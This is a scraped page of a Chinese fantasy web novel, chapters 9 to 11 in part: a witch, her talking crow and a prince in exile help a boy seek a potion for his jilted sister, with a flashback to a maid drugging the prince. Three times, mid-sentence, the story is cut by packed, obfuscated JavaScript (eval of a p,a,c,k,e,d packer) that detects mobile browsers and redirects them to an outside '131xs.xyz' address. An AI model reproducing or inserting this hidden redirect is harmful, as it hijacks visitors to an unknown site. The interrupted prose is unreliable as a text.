l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626452|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸦……等等,这都是什么乱七八糟的?他还在梦里吗? 巴奇陷入了前所未有的困惑之中。 他记得自己进入黑暗森林后不久,就不幸遭遇了野兽的袭击。 那是一头跛脚的狼。 虽然不知道它的一只脚被什么动物咬伤了,但它扑咬巴奇的动作仍然非常灵敏,巴奇抽出了专门买来防身的匕首,胡乱挥舞,试图吓退这头恶狼。 结果不仅没有伤到狼不说,还让狼意识到他手里有能伤到自己的武器。于是在巴奇没有反应过来的时候,手腕忽然狠狠一疼,是被锐利的兽齿刺穿了,扎出了两个深深的血窟窿。 “啊!”巴奇忍不住痛呼,握在手里的匕首也随之掉在了地上。 失去了武器,巴奇再也没有值得那头恶狼忌惮的地方了,它扑上来的力道愈发凶猛,爪子也把巴奇身上的衣服抓得破破烂烂。 巴奇本以为自己就要这么丧命于狼口之下,却不知那恶狼为什么突然停下动作,左右嗅闻,接着逃也似的跑了,活似遇到了天敌。 来不及为自己逃过一劫而庆幸,巴奇浑身是伤,先前为了最大程度地护住自己的要害,他已经倒在了地上,蜷缩起来,现在想站起来,却没了力气。 不行,为了提防那头狼再回来,巴奇咬牙使出最后一点力气,不断往前爬去。 前边不远处,是一条还算宽阔的河流,淹一个巴奇可以说是绰绰有余。 哪怕淹死在河里,也比最后被恶狼吃掉尸体要好多了。 可惜巴奇的手刚摸到冰凉的河水,嘴角还未来得及上扬,便眼前一黑,晕了过去。 怎么他再醒来,竟然就换了个地方? “呀,你醒了。”塞拉斯最先发现巴奇睁开眼睛坐了起来,正迷茫地打量着周围。 “醒得倒是比我预想中的还快。”梅拉也转过头,若有所思地盯着巴奇。 唯独莱克斯虽然心中诧异巴奇竟然真的被救活了,却保持了表面上的镇定,依然慢条斯理地享用着还冒着热气的南瓜浓汤。 南瓜本来就十分香甜,再加上肉桂粉与奶油的调和,口感异常绵密。 甫一端上来,就受到了梅拉与塞拉斯的一致好评。 “你们是谁?这是哪里?是你们救了我吗?”巴奇一连抛出了数个疑问。 与此同时,他的视线不受控制地落到莱克斯身上。 金发可是努伦格尔王室的象征。 王室的人怎么会出现在这里? 面对巴奇的疑问,梅拉漫不经心地挑眉,“我还以为所有人都知道,只有女巫才敢住在危险的黑暗森林之中。” “你是女巫?”巴奇发出一声惊呼,是了,除了女巫之外,谁还会在黑暗森林中建起一座小木屋,同时豢养象征着邪恶的乌鸦呢? 更别提这只乌鸦还能口吐人言。 “没错,我是女巫梅拉,这里是我的小木屋,也是我让莱克斯把你背回来,顺便把你救醒的。”梅拉颔首。 在第一次见到她的人面前,梅拉总能保持住一个女巫应有的云淡风轻,仿佛万事万物都掌握在她的预料之中。 然而下一秒,梅拉的语调变得轻快起来,“对了,救醒你花了我一整瓶治愈药剂,诚惠八枚银币。怎么样,作为救了你的费用,这个价格很便宜吧?” 听到这熟悉的话语,一旁正在勺汤的莱克斯动作顿了顿,他有理由怀疑梅拉对每一个被她救了的人都是同一副说辞。 但巴奇还真的点了点头,一脸感激地向梅拉道谢。 只不过他摸了摸原本应该绑在腰间的钱袋,露出了一个尴尬的表情,小心翼翼地询问道,“对不起,女巫小姐,我的钱袋不见了,能不能等我下次来的时候再把钱一起付清?” “一起付清?”梅拉咀嚼着这句话,旋即高高地挑眉,嘴角绽放出一个动人的微笑,“哎呀,原来你是专门来找我的客人啊。” 过分的美丽令人望之生畏,因此巴奇刚才一直微微垂着眼帘,不敢与梅拉直接对视。 但女巫坐在灯光下看着他微笑,艳丽的美貌被柔和的色彩中和,仿佛浑身上下都在散发着珍珠般莹润的光彩,像一件可以驻足远处欣赏的艺术品。 以至于巴奇一时间竟然看呆了。 等他好不容易回神,才喏喏地答到:“是、是的,女巫小姐您猜得没错,我是专程为了您而来的。” 巴奇的话令莱克斯都放下勺子看了过来。 “哦?你找我是为了什么呢?”梅拉好奇地问。 “我听说女巫制作出来的药剂充满了神奇的药效,我想向您购买一瓶能够治好我姐姐的药。”巴奇道明来意。 “你姐姐生了什么病?”梅拉追问道,不知道病症的情况下,她怎么拿得出巴奇想要的药剂? “她……她得了臆想症,每天都在臆想她的未婚夫出了意外失踪了。但其实我们都知道,那个男人是带着从她那里骗到的钱,同他的情人私奔了。” 提到那个欺骗了她姐姐的人渣,巴奇的眼中划过一抹嫌恶。 10. 第 10 章 巴奇的父亲是一名小有名气的商人。 自巴奇有记忆起,就鲜少与父亲照面,他总是奔波在做生意的途中。 巴奇的母亲则在生下他不久后就因病去世了。 照顾巴奇长大的重担顺理成章地落到了他的姐姐玛比拉身上。 玛比拉只比巴奇大八岁,自己还是个孩子呢,起初照顾巴奇时可以称得上是手忙脚乱。 不过在仆人的帮助下,玛比拉逐渐变得熟稔,顺利地将巴奇照顾到了六岁。 突如其来的噩耗打破了这个家的平静,玛比拉与巴奇的父亲不幸在返回家中的路上遇难了。 得到消息的少女倒在女仆怀中失声痛哭,却在看到年幼的弟弟后,飞快地抹掉眼泪,一边强忍悲伤,一边学着替父亲处理后事。 好在他们的父亲留下了一笔还算可观的财产,足够两人继续维持着相对富足的生活,玛比拉也依然是镇上嫁妆数一数二的姑娘。 “如果我是你姐姐,这时候就该擦亮眼睛,审视每一个企图接近我的男人。”梅拉突然出声,打断了巴奇的叙述,“年轻富有的姑娘最容易吸引不怀好意的豺狼。” 何况在巴奇的描述中,玛比拉温柔恬静、教养良好,想必十分不擅长拒绝别人的接近,哪怕察觉到对方不安好心,也只会委婉地吐露拒绝。 要梅拉说,这招只对好面子的人管用,一旦碰到不要面子的无赖,就会像沾在鞋底的泥巴一样刮了一层还有一层。 虽然梅拉说得很有道理,但听故事听得正入迷的塞拉斯头疼地用翅膀捂住脑袋,指责她,“噢梅拉,你可真不是一个耐心的听众,虽然我们都知道最终是个令人沮丧的结局,但我还是更想听巴奇说完整个故事。” 而不是听你不断地插嘴。 这一句塞拉斯不敢说出口,只敢在心里偷偷嘀咕。 “好吧,好吧,随你的心愿,接下来我尽量不再轻易发表我的看法。”梅拉妥协了,顺便吩咐站在一边的莱克斯给她煮杯花草茶来。 巴奇悄悄观察了一眼梅拉的反应,见她没有不耐烦的表情,弱弱地替自己的姐姐辩白了一句,“不是我姐姐不够警惕,是格鲁特太会花言巧语,又用了不入流的卑鄙手段,才成功骗取了我姐姐的信任。” 玛比拉到底只是个十五岁的年轻姑娘,乍一碰到一个年轻英俊的男人对自己献殷勤,换着招数讨自己开心,难免失去了平日里的稳重,陷入少女渴望浪漫爱情的幻想之中。 只不过想起父亲留下来的那笔遗产,玛比拉又对格鲁特的亲近产生了几分怀疑,于是她派了自己最信任的女仆前去打探有关格鲁特的消息。 女仆回来后,对格鲁特的为人大夸特夸,说他虽然出身富贵,却一点也不喜欢沾花惹草,除了玛比拉,没见他对其他任何姑娘表现过兴趣。 女仆还劝说玛比拉不如就接受格鲁特的示爱,两人都是商人家庭出身的孩子,完全算得上门当户对。 更何况玛比拉确实对格鲁特有好感不是吗? 玛比拉深思熟虑过后,觉得女仆的建议没错,她找到格鲁特,希望两人能先订婚,毕竟巴奇才七岁,她不放心撇下年幼的弟弟独自嫁人。 格鲁特当然说没问题,甚至贴心地提出等到巴奇十二岁的时候,玛比拉再嫁给他也没问题,区区五年而已,他愿意为玛比拉痴心守候。 听到这话的玛比拉感动不已,同时心底对格鲁特存了不少愧疚,如果不是为了她,格鲁特正是适合结婚的好年纪,五年后说不定孩子都能在地上跑了。 因此一听到格鲁特问自己借钱想尝试做点生意时,玛比拉想都不想便拿出自己一半的嫁妆交给格鲁特。 当然,除了对格鲁特的信任之外,玛比拉也考虑到,钱这种东西如果只出不进,总有花光的一天,到时候他们的小家庭该怎么办。 尤其格鲁特说过,他的父亲重视能够继承家业的长子,他的母亲疼爱年纪最小的幼子,恐怕不会给他这个排在中间的老二分到多少财产。 格鲁特说这话时神情惆怅,显然为父母的偏爱感到难过,可他还是努力振作精神,安慰玛比拉,承诺绝不会让她过上用不起仆人的穷日子。 玛比拉笑着说好,心中却不免仍然挂着一丝担忧。 现在好了,格鲁特主动提出要去做生意,如果真能干出点什么来,玛比拉自然是乐见其成。 只不过格鲁特第一次做生意,难免遇到许多意外状况,譬如买来的货物质量参差不齐,譬如被人骗着把行情好的货物低价卖了出去,又譬如一起做生意的朋友卷钱跑路了。 总之半年后,垂头丧气的格鲁特又问玛比拉借走了她剩下的那一半嫁妆。 “就是这一回他直接带着你姐姐的那一半嫁妆和情人跑了?”梅拉问。 “不。”巴奇摇头,表示格鲁特比梅拉想象的还要贪心得多,他盯上了属于巴奇的那部分遗产。 按照王国的法律,父母留下的遗产中,女儿只能分得十分之四,大头则必须留给儿子。 如果这对夫妇膝下有多名女儿,则几个女儿们平分这十分之四,如果有多名儿子,则长子继承三分之二,其他儿子平分剩下的三分之一。 也就是说,巴奇与玛比拉父亲留下的遗产,大头还在巴奇的名下。 只不过因为巴奇的年纪太小,这笔钱暂时交给了玛比拉负责保管。 “后来呢?你姐姐不会真的糊涂到把你的钱也拿给格鲁特这种人渣骗子了吧?他都已经把她的嫁妆全骗光了,她还没醒悟过来吗?”塞拉斯气愤地挥舞双翅,有种没办法把翅膀伸过去狠狠抽格鲁特两巴掌的无力感。 “这回插嘴打断故事的人可不是我了喔。”梅拉在旁边轻飘飘地飘来一句。 “现在是计较这个的时候吗?”塞拉斯气得在栖杆上跳来跳去。 梅拉得意地哼笑一声,示意巴奇接着说。 “……格鲁特没有得逞。姐姐她虽然希望能拿出钱来帮助格鲁特的生意度过难关,但她认为她只是代我保管这些钱,等到我成年后,这些钱必须要分文不少的交到我的手上。因此无论格鲁特如何哀求,姐姐都没有松口。” “见没办法从我姐姐手里骗到更多的钱,格鲁特借口出门找愿意借钱给他的人,然后一去不返了。” 巴奇说完,沮丧地低下了头。 格鲁特刚离开那会儿,巴奇看到玛比拉愁眉不展的样子,便想办法从她最信任的女仆口中得知了原因。 知道只要自己愿意借钱给格鲁特就能让姐姐开心,巴奇高兴地找到玛比拉,说他愿意把这些钱都借给未来的姐夫,反正他们以后会是一家人,没必要讲究这么多。 闻言,玛比拉露出一个勉强的笑,并坚决的拒绝了巴奇,只说她相信格鲁特会找到办法的,如果最后实在找不到办法,那说明格鲁特不是做生意的料子,他们再另谋出路。 再之后就是玛比拉苦苦地等了三个月,却一封来自格鲁特的信都没收到。 要知道之前即使长期出门在外,格鲁特依旧每隔两三天就要给玛比拉寄一封写得满满当当的信,诉说他对玛比拉的思念之情。 有父亲的例子在前,玛比拉忍不住往最坏的情况设想,接着她再也等不下去,花了大价钱派人试图找到格鲁特。 当然,钱是玛比拉向巴奇借的,不仅如此,她还非要同巴奇打下欠条,许诺婚后一定还上这笔钱。 结果玛比拉派去的人虽然没有找到格鲁特,但把格鲁特早就带着情人私奔的消息带了回来。 更令人震惊的是,格鲁特压根没用玛比拉的嫁妆做过什么生意,他在信中给玛比拉描述的那些糟糕情况,全是他空口瞎编出来的。 至于那名与他私奔的情人,也是他在玛比拉之前看上的。不如说,正是因为格鲁特的父母无法接受他娶一个没多少嫁妆的女人,才让格鲁特盯上了隔壁镇子上出了名嫁妆丰厚的玛比拉。 玛比拉受到巨大的打击,当场昏了过去,被女仆扶回了房间。 而她最信任的那名女仆,在玛比拉派人打听格鲁特下落的时候,便找理由辞去了这份工作。 等巴奇反应过来不对劲,加钱派人调查了这名离开的女仆后,又得知她其实早就被格鲁特收买了,所以才会对着玛比拉说尽了格鲁特的好话,促成了两人的订婚。 提到这,巴奇的表情变得忿忿不平起来,“那名女仆陪伴了我姐姐五年,我们一直给她开着不错的薪水,也从没有打骂过她,结果她竟然为了这么点钱就轻易背叛了我姐姐。” 关于这一点,一直沉默着的莱克斯忽然开口,显然有不同的见解,“一位好的主人在兼有仁慈之心的同时,还必须在仆人们之间树立起足够的权威,否则过度的仁慈只会增长仆人的轻视,让他们无所顾忌,以至于胆敢冒犯主人的利益。” 从最信任的女仆居然能被格鲁特收买来看,玛比拉无疑是一位失败的主人。 反过头来说,正是玛比拉的纵容,才导致她的女仆敢收下格鲁特的钱,对她说谎,并且毫不担心事情会被揭穿。 巴奇听了这番话,意识到自己与姐姐的错误,脸色顿时更差了。 “这花草茶怎么味道这么淡?你刚刚煮的时候放了糖没?没放糖你就敢给我端来,看来我也得对你树立一下主人的权威才行。” 梅拉抱臂,盯着莱克斯,让他把这杯不够甜的花草茶喝干净,然后再煮杯新的来。 莱克斯想到自己刚说完的话,沉着脸把喝干净的茶杯端走了。 “好了,你接着说吧,你姐姐的病又是具体怎么一回事。”梅拉看向巴奇。 有了梅拉的打岔,巴奇呼出一口气,把最后一点故事补充完。 受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626453|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不了这样沉重打击的玛比拉患上了严重的臆想症,在她的认知里,格鲁特是在出门做生意的时候失踪了,无论她派了多少人,都没法找到他的下落,只好整日以泪洗面。 巴奇看不下去,狠心想打破姐姐的幻想,让她接受现实,换来的却是玛比拉关上房门,拒绝与他见面。 “这种情况大概只是伤心过度,你应该再多给她点接受的时间。”梅拉托着腮道。 “如果还有时间就好了,”巴奇露出一个苦笑,“我带着仆人出门前,姐姐已经躺在床上十分虚弱了。她除了一直以泪洗面之外,还完全丧失了食欲,不管多么美味的食物端到她面前,她都吃不下去。” 可是人不吃饭怎么行? 巴奇眼看着玛比拉一天天的消瘦下去,十分害怕失去仅剩的亲人,可他很清楚,教会的牧师治不了这种病,他们反而会说玛比拉是个疯女人,要求巴奇把她送到修道院去。 巴奇绝不可能这么做。 他想到了曾听说过的有关女巫的传闻,正好离镇子不远就是黑暗森林,人人都知道黑暗森林里确确实实住着一位邪恶的女巫。 于是巴奇带着几个年轻力壮的仆人护送自己来到黑暗森林附近,然后随意找了个借口把他们支开,独自一人闯了进来。 “为什么要把仆人们支开?如果你带着他们,说不定就不会被野兽袭击以至于晕倒在河边了。要知道如果不是侥幸碰到了我们,你大概是没办法捡回一条命的。”梅拉道。 “和女巫有过交易这种事,我不会告诉任何人,万一他们不慎同别人泄露,我和姐姐就都完了。”巴奇往莱克斯的身上看了一眼。 他之所以这么谨慎,还是因为在王室曾颁布的女巫追捕令上写到,凡是与女巫扯上关系的人,都会被没收全部财产,投入监狱之中。 结果巴奇千算万算,没想到居然直接在女巫的小木屋撞上了王室的人。虽然他暂时不知道莱克斯的身份,但他觉得在双方都握有把柄的情况下,莱克斯应该会和他保持同样的默契,假装从没见过对方吧。 莱克斯忽略巴奇那饱含深意的一瞥,镇定自若地把重新加了糖煮过的花草茶递给梅拉。 梅拉接过茶杯抿了一口,心里想的却是另一件事。别看巴奇话里话外都是玛比拉受到了打击,实际上他同样受到了不小的影响,否则不会这样提防自己的仆人。 果然,摔跤才能让人成长。 “那我什么时候可以得到我想要的药剂呢?”巴奇小心翼翼地问道。 “明天我就能把你想要的药剂制作出来,现在么,时间太晚,大家该睡觉了。” 梅拉把喝到一半的花草茶放到一边,伸了个懒腰,好久没像这样听过睡前故事了,虽然其中的爱情部分叫人咬牙切齿,但亲情部分起码还能称一句不错。 只不过有一个问题,梅拉从没想过她的小木屋会有别人住进来,多了一个莱克斯后,梅拉把唯一一张多的毯子分给了他,又把小木屋收拾出一个干净的角落供莱克斯睡在地上。 但现在屋子里又多了一个巴奇,显然只能让巴奇和莱克斯挤一个晚上了。 “我可以去门口坐着睡。”比起和巴奇挤一张毯子,莱克斯宁可主动委屈自己去门口。 “不行,在门口被冷风吹一晚上,你不怕着凉么?”梅拉拒绝了莱克斯的提议。 莱克斯想说自己没那么娇弱,他跟着切尔各学习这么多年的武艺不是白练的,然而梅拉根本不给他开口说话的机会,“你坐到我的摇椅旁,我把我的毯子分你一半。” “不许拒绝,难道你想反抗主人的权威吗?”梅拉又坏心眼地把莱克斯先前说过的那番话拿出来治他。 莱克斯不说话了。 莱克斯无奈地接受了。 于是,巴奇占用了莱克斯的毯子,塞拉斯站在自己的栖杆上,莱克斯则不情不愿地背靠着梅拉的摇椅,从身后分来的毯子边缘搭在他的膝盖上,盖住了他的整个上半身,避免他睡着后着凉。 为了更好地照顾到莱克斯,梅拉是朝向莱克斯这一面侧着身子睡的,她很快在摇椅轻微的晃动中睡着了。 不多时,屋子里响起了另外两道迥异的呼吸声。 唯独莱克斯依然睁着眼。 梅拉不喜欢往身上喷洒香水,因此只有这样近的距离,才能嗅到她身上若有若无的香气。 莱克斯不明白这种香气的由来,只能推测女人大概都是这样的,因为他去世多年的母亲也是如此。 干净的衣物、温暖的气息、柔顺的长发,自然而然散发的馨香,随着年幼的莱克斯扑入母亲怀中,得到了略带诧异的笑语:“今天我的王子殿下能不能陪母亲在花园里呆一个下午呢?” 年幼的自己是如何回答的? 莱克斯沉入梦境的深处,与遥远的回忆编织在了一起。 11. 第 11 章 第二天巴奇睁开眼,发现自己身上竟然连一处伤口都找不到了。 这就是女巫制作出来的药剂吗?药效比传闻中说的还要神奇。 与此同时,巴奇更加相信梅拉一定能够拿出让玛比拉恢复正常的药剂了。 “醒了?那正好来试试莱克斯的手艺。” 梅拉坐在餐桌前,单手支着下巴,笑吟吟地招呼巴奇到餐桌前最后一个空位坐下。 巴奇拘谨地坐了下来,下一秒又立刻像屁股烧着了似的站了起来。他端着空碗走到屋子中央的坩埚前,试图接过莱克斯手里的长勺,“我自己来盛就好。” 虽然巴奇是梅拉的客人,但他可不敢真的坐在椅子上等莱克斯来伺候自己。 莱克斯瞥了巴奇一眼,把长勺让出去,一手端着一个盛满的碗走到餐桌边,为真正需要他伺候的梅拉端来早餐。 热腾腾的雾气缓缓上升,裹着玉米的香甜。 霍尔,即每个月都要给梅拉送满满一板车食物来的棕发男人,这个月送来的就是最早一批成熟了的玉米。 据梅拉说,霍尔拥有一片远近闻名的肥沃土地,种出来的作物,比如玉米,不仅色泽金黄,并且每一粒都非常饱满,煮出来的味道自然差不了。 塞拉斯早在闻到香味的时候就迫不及待地给自己盛了一碗。只见它的脑袋一点一点,鸟喙深入碗里,把玉米粒啄得干干净净后,才捧起碗一口气把汤给喝干净了。 填饱肚子的塞拉斯发出一声舒服的喟叹,瘫坐在餐桌上,有一下没一下地给自己揉着肚子。 梅拉用勺子柄的另一端戳了戳塞拉斯肚子上的软肉,“你再这样光吃不动,马上就要成为史上第一只飞不起来的乌鸦了。” “胡、胡说,塞拉斯怎么可能飞不起来。”塞拉斯心虚地移开视线,不敢与梅拉对视。 都怪莱克斯的手艺越来越好了,又把本应该派给塞拉斯的活抢去干了不少,才导致塞拉斯身上长了不少肉,逐渐有朝横向发展的趋势。 大概从塞拉斯的表情猜出它在想什么的莱克斯:…… 明明是塞拉斯自己犯懒,把活都丢给了他干,果然梅拉养出来的乌鸦和她一样喜欢倒打一耙。 巴奇捞了满满一勺汤放入嘴里,发现吃起来的味道比闻起来的还要香甜。其中不只是玉米本身的甜味,应该还加了奶油和一点点肉桂粉。 一想到这么美味的食物竟然出自看起来一点都不好惹的莱克斯之手,巴奇一边被香得无法从碗里抬头,一边觉得能把莱克斯当仆人使唤的梅拉哪怕一直笑吟吟地同他说话,都充满了令人畏惧的气息。 梅拉看着快要缩到桌子底下的巴奇:? * 吃完早餐,梅拉就要开始为巴奇炼制他想要的药剂了。 关于哪种药剂能够让玛比拉振作起来,梅拉心中早就有了想法。她从橱柜上拿下来不少瓶瓶罐罐,拔开软木塞就往坩埚里倒。 巴奇看到这一幕,不免升起一点好奇,忍不住往前走了两步,试图拉近距离看清梅拉的每一个动作。 能看到女巫亲自制作药剂,这是多么难得的机会啊,也不知道梅拉往里倒的这些看起来稀奇古怪的材料都是什么东西。 不过好奇归好奇,巴奇很清楚女巫的药剂配方属于绝不能被他人知晓的秘密,故而谨慎地没有问出口。 其实巴奇如果问了,梅拉倒是不介意把这些材料的名字好好地和他说一说。 里头可有好几种珍贵的草药,放到市面上能卖到一金币一克呢,所以这瓶药剂梅拉觉得自己要价三十枚金币一点也不过分吧。 一旁的莱克斯瞧着梅拉库库地往锅里倒材料,看起来一点都不心疼,略带同情地看了还不知道要发生什么的巴奇一眼。 梅拉会这么舍得,一定是因为她打算要的报酬比她付出的还要多得多,也就是说,巴奇百分百要被梅拉狠狠宰上一笔了。 过了一会儿,坩埚里的水烧开了,渐渐飘出一股难以形容的异香。 这香味并不难闻,反而让巴奇露出了一副陶醉的神情,仿佛陷入了某种美好的幻觉之中。 “他这是怎么了?”莱克斯问,他环顾屋子一圈,发现只有巴奇闻到香味后露出了异样。 “不用担心,这是闻到悬吊鸢尾香味的正常反应。”梅拉看了巴奇一眼,“这种花最出名的就是它的香味了,不仅浓烈到方圆几公里内都能闻到,还会让闻到香味的猎物自动送上门给它饱餐一顿。” 通常来说,普通人闻到悬吊鸢尾的香味并不会产生像巴奇这样大的反应,毕竟它的食谱里不包括人类,顶多是让嗅到它香味的人感到一阵眩晕,神志变得有些昏沉。 但梅拉先前往锅里加了不少别的材料,放大了这种致幻效果,现在哪怕房子塌了都不一定能把巴奇从幻境里拉出来。 不过只要等药剂彻底成型,这股香味就会消失,巴奇自然能够清醒过来。 “说起来,你怎么一点也不受这香味的影响?” 梅拉有些许诧异。如果说她和塞拉斯是因为本身就存在特殊的地方,一个女巫,一个女巫的宠物,天然对魔药的效果具备一定的抵抗力,那莱克斯是为什么? 莱克斯定定地站在原地,任由梅拉上上下下地打量他,就是不肯开口。 然而有时候,抗拒也是一种鲜明的态度。 “行吧,你不想说,我就不问了。”梅拉耸了耸肩,能让莱克斯如此抗拒,必定与他曾经在王宫里的生活有关。 他愿意说的话,梅拉倒是不介意听听八卦;既然不愿意说,梅拉也不是非得好奇这些不该为人知晓的宫廷秘事。 还没坩埚里即将大功告成的魔药令她感兴趣。 殊不知梅拉随口的一问,再加上曾经与巴奇相似的经历,仿佛糅合成了一把古朴的钥匙,拧开了莱克斯久违的回忆。 在莱克斯和巴奇差不多的年纪时,他最亲近的侍女,亲手为他递来放了迷药的食物。 迷药很快起了效果,莱克斯的眼前一阵阵发黑,控制不住地想往后倒去。他意识到不对,想出声喊来守在门口的卫兵,不料侍女直接扑上来,捂住了他的嘴巴。 直到确认莱克斯不再挣扎,彻底晕了过去后,侍女才终于松开了手。 如果不是侍女离开时的眼神太过慌张,让看守的卫兵察觉了异样,被她沉入浴池底部的莱克斯或许真的要淹死了。 随着莱克斯获救,侍女也被卫兵们暂时看管了起来。 莱克斯再度醒来,是在发烧烧了整整一天一夜之后。 哪怕卫兵救得很及时,莱克斯还是呛了不少水进肚子里,再加上残存在体内的迷药,双重作用之下,饶是一向身强体健的莱克斯也烧得浑身通红,令接到消息赶来的切尔各十分担忧,不得不留在王宫里寸步不离地守着莱克斯。 莱克斯清醒过来后,没有听切尔各劝他好好休息的话,态度坚决地让人把侍女押到了床前进行审问。 虽然只过去了一天一夜,但侍女浑身狼狈,眼下顶着两团浓重的青黑,似乎片刻也不曾休息过。 显然是吓得不轻。 毕竟谋害王储是重罪,不仅她,她的亲人们有一个算一个,全部都要为她的行为付出代价。 侍女没想到还有再见到莱克斯的机会,她突然像疯了一样挣扎起来,哭得声泪俱下,说她一开始是拒绝了的,并没有想过要背叛莱克斯。 然而,然而,她唯一的弟弟生病了,父亲又不慎染上了赌/瘾,短短半个月内就把家当输光了,还把母亲的左腿打断,逼她没办法拒绝母亲可怜兮兮的哀求,最终接过了那包迷药,下在了要端给莱克斯的食物里。 她不住地乞求莱克斯的原谅,保证再也不会有下一次,如果莱克斯不放心,把她驱逐出王宫都行。 一直站在床头,保持着守护姿态的切尔各闻言,忍不住看了坐在床上的莱克斯一眼,生怕他真的心软,答应网开一面。 如果是这样,他一定会出言阻止,哪怕冒着莱克斯发怒的风险,也不能让他就这么轻易放过胆敢谋害王储的人。 幸好,莱克斯见侍女口中翻来覆去都是求饶,再也吐不出半点有用的东西,他将苍白的唇抿成一条冷酷的直线,冷声命令卫兵把她带走,投入监狱之中,包括她的家人一起,统统按照王国的律令进行处置。 侍女痛哭流涕地被卫兵押走了。 两扇厚重的雕花鎏金大门自外面合上,发出沉闷的响声,偌大的房间里,只剩下切尔各与莱克斯两人。 切尔各斟酌片刻,开口道,“我还以为殿下会像以往一样对她心软呢。” 换做别人可没这么好的运气,偏偏这名侍女是前王后莉莉勒斯还在世时,特意送到莱克斯身边负责照顾他的人,一想到这重身份,切尔各又不确定了。 “在她背叛我的时候,就已经同时背叛了我的母亲,我又怎么会看在母亲的面子上放过她。”莱克斯冷冷地道。 这就好,切尔各颇为赞同地点头,莱克斯能自己想明白这点就是再好不过的了。不说别的,只有最严厉的惩罚,才能震慑住其他仍然怀有异心的人,叫他们不敢轻举妄动,轻易对莱克斯出手。 否则就会像这次一样,哪怕在他的眼皮底下,莱克斯还是差点遇害。 “我知道你想说什么,”莱克斯看了切尔各一眼,“君主仁慈对臣民们来说是好事,太过仁慈反而是坏事了。” 这个道理早在很久之前,斐南基就教过莱克斯。 倘若君主的统治残暴不仁,臣民们势必生活在水深火热之中,可若君主过度仁慈,却会助长某些不该存在的野心,令至高无上的权威受到挑战,乃至于他的生命受到威胁。 这名侍女就是很好的例子。 莱克斯过往的仁慈不仅不再令她感恩戴德,还让她生出了背叛的勇气,多么可笑。 “这并不是殿下的错。”切尔各试图宽慰莱克斯。 莱克斯也不是对谁都这样的,只有那些被他划定为自己人,付出了信任的,才能得到他毫无保留的宽容。 所以要怪就该怪那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629318|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名侍女不知足,竟然辜负了莱克斯的信任。 “不,是我错了,我竟然误以为所有人都能像你一样忠心。”莱克斯扯了扯嘴角,扯出一个讥讽的弧度。 像切尔各这样哪怕被继王后的人重重刁难,也要对他忠心耿耿的才是少数。 “等我身体好了之后,再为我加一个迷药特训吧,我可不想下一次还被这种小伎俩给算计到。” 见切尔各似乎还想再说点别的宽慰自己,莱克斯先一步岔开了话题,他不是小孩子了,还得靠人哄着才能振作起来。 “对了,斐南基知道这件事了吗?” 不等切尔各回答,莱克斯又自顾自地道:“算了,这么大的事,他怎么可能不知道。” 只不过作为王储的老师,又身为王国的宰相,斐南基并不像切尔各一样能仗着骑士长的身份在宫廷内四处游走,名正言顺地来看望莱克斯。 “你去告诉斐南基,不必为我担心,我很快就能好起来。这里也不用你守着了,去休息吧。”莱克斯摆手。 寸步不离地守了莱克斯一天一夜,饶是切尔各此刻还能站着,神智清明地回话,但他眼里的红血丝却藏不起来。 他比莱克斯更需要休息。 “为您效劳。”切尔各没有拒绝莱克斯的体贴,他躬身,恭恭敬敬地朝莱克斯行了一个礼,随后离开了房间。 * 巴奇终于拿到了梅拉制作好的药剂。 一个巴掌大的小玻璃瓶,深蓝色的液体静静地躺在其中,被巴奇珍而重之地用手心裹住。 “我只要把它全部倒入食物里,让我姐姐吃下去就可以了是吗?” “没错,”梅拉点头“只要吃下洒了药水的食物,再浓烈的感情也会像一幅陈旧的画作,随着时间的流逝逐渐褪色,等到七天之后,药水完全生效,你的姐姐就再也不会为格鲁特的欺骗而感到痛苦了。” 毕竟玛比拉之所以会如此痛苦,归根究底是因为她深爱着格鲁特。 因为爱,所以忍不住反复咀嚼过往,试图从曾经相处的点滴中寻找格鲁特说谎的蛛丝马迹,这不仅无法帮助玛比拉认清事实,成功清醒过来,还会让她在悔恨和懊恼中越陷越深。 为什么她竟然会被那样简单的谎言所欺骗? 为什么她从没看穿格鲁特的真面目? 痛苦仿佛泥沼,将玛比拉拽入其中,越是挣扎,越是沉沦。 想让玛比拉重新振作起来的办法也很简单。 在梅拉看来,干脆把玛比拉已经形成枷锁的感情抽离,理智自然会回归,求生的本能也会敦促着她恢复食欲,从床上站起来。 “不过么……”梅拉朝巴奇摊手,“会受到影响的感情可不只是爱情,亲情、友情,或者别的感情,当然也包括在内。” “意思就是姐姐对我的感情也会变淡吗?”巴奇刚露出的笑脸收了起来,他攥紧手中的小玻璃瓶,一时间有些犹豫,真的要把它喂给姐姐吗? 以他们多年相依为命的感情为代价,换玛比拉不再爱着一个令她痛苦的男人。 “别担心呀,你们毕竟是姐弟,只要一直这样朝夕相处下去,感情总会重新培养起来的。”梅拉对巴奇的犹豫不以为意,这个世上从不存在不用付出代价就能获得好处的事。 女巫拿出的每一瓶药剂,都拥有令人惊讶的神奇药效,理所当然的,它们也会存在一点小小的副作用。 和在痛苦中滑入死神的怀抱相比,只是让玛比拉变得感情有些淡漠,这点副作用显得多么微不足道啊。 